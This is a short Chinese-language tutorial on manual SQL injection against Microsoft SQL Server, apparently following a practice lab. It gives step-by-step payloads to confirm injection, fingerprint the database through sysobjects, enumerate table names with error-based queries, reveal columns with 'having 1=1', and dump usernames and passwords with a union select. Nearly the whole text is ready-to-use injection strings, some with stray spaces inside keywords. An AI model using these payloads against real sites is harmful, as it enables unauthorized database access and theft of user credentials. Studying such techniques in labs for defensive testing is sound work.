MSSQL⼿⼯注⼊

 步骤⼀：在第⼀关使⽤单双引号判断是否存在注⼊，根据报错的回显可知数据类型为字符型

id=1

id=1'

id=1' --

步骤⼆：可通过以下Payload来探测当前站点是否是MSSQL数据库，正常执⾏说明后台数据库是

MSSQL；也可根据⻚⾯报错信息来判断数据库

exists(select * from sysobjects)

步骤三：通过以下语句来猜解有哪些表...从⽽获取⽬标站点的表信息...

'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name f rom [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1--

第⼆张表： 1 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ')

第三张表： 1 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ' and name !=' emails ')

第四张表： 1 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ' and name !=' emails ' and name !=' uagents ')

第五张表： 1 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ' and name !=' emails ' and name !=' uagents ' and name !=' referers ')-- // 返回结果为空，说明不知道第五张表

步骤六：通过以下语句爆出表下的所有字段信息

having 1=1

group by 字段名 1 having 1=1

步骤七：爆字段值

- 1 'union select 1,2,3 from users

- 1 ' union all select 1,(select top 1 username from users),(select top 1 password from users)--+